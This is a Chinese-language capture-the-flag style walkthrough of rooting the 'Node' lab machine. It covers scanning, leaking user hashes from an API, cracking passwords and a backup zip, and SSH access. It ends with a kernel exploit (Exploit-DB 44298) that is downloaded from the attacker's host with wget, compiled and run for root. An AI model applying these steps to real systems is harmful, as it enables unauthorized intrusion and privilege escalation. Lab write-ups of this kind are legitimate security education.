Node 靶机渗透过程
环境信息
| 角色 | IP 地址 | 说明 |
|---|---|---|
| 攻击机 | 192.168.43.109 | Kali Linux |
| 目标机 | 192.168.43.164 | Node 靶机 |
靶机使用 VirtualBox 运行,网络模式为桥接模式,与攻击机处于同一网段。
渗透过程
网络发现
使用 netdiscover 扫描同网段主机,通过 MAC 地址识别目标靶机。
netdiscover -r 192.168.43.0/24
端口扫描
使用 nmap 对目标进行全面扫描,识别开放端口及服务版本。
nmap -v -A 192.168.43.164
发现两个关键服务:
- 22 端口:SSH 服务
- 3000 端口:Node.js Web 服务
Web 服务枚举
优先从 Web 服务入手。使用 dirb 扫描目录:
dirb http://192.168.43.164:3000由于该站点为单页应用(SPA),目录扫描未返回有效结果。观察页面可知,内容通过 JavaScript 动态渲染。打开浏览器开发者工具,分析网络请求。

发现两个关键请求:
- 页面模板加载
- 用户数据接口:
/api/users/latest
请求该接口返回了用户数据:

Tip
接口路径中的 latest 暗示这是一个参数化接口,尝试变更参数值可能返回不同数据。
使用 cmd5 对密码哈希进行解密,得到普通用户凭据:
- 用户名:
tom - 密码:
spongebob
登录成功,但提示仅管理员可访问控制面板。

用户枚举与管理员登录
尝试访问 /api/users(去掉 latest 参数),返回了全部用户列表:

从中找到管理员账号并解密其密码哈希:
- 用户名:
mark - 密码:
manchester
使用管理员凭据登录成功。

备份文件获取与爆破
管理员面板提供备份文件下载。下载的文件为 Base64 编码,解码后得到压缩包:
cat myplace.backup | base64 -d > mypalceunzip mypalce压缩包受密码保护。使用 fcrackzip 配合 rockyou.txt 字典进行爆破:
fcrackzip -D -p /usr/share/wordlists/rockyou.txt -u mypalce爆破得到密码:magicword。
代码审计与 SSH 登录
解压后在 app.js 中发现 MongoDB 连接凭据:
- 用户名:
mark - 密码:
5AYRft73VtFpc84k - 端口:27017(仅本地监听)
由于 MongoDB 未开放远程访问,转向 SSH 服务。使用之前获取的凭据登录成功。
权限提升
当前权限较低,收集系统信息:
uname -a根据内核版本 4.4.0,在 Exploit-DB 中查找对应漏洞:
searchsploit 4.4.0找到一个可用的本地提权漏洞(Exploit-DB ID: 44298)。在攻击机上搭建临时 HTTP 服务器:
cd /usr/share/exploitdb/exploits/linux/local/python -m SimpleHTTPServer 80在目标机上下载、编译并执行 exploit:
cd /tmpwget http://192.168.43.109/44298.cgcc 44298.c -o exp./exp成功获得 root 权限。
总结
本次渗透测试涵盖了以下关键知识点:
- Web 应用安全:API 参数篡改、用户枚举
- 凭据管理:密码哈希解密、Base64 编码混淆
- 安全配置:MongoDB 本地监听、SSH 弱凭据
- 内核漏洞利用:Linux 本地提权
Warning
实际渗透测试中,请务必在授权范围内进行操作。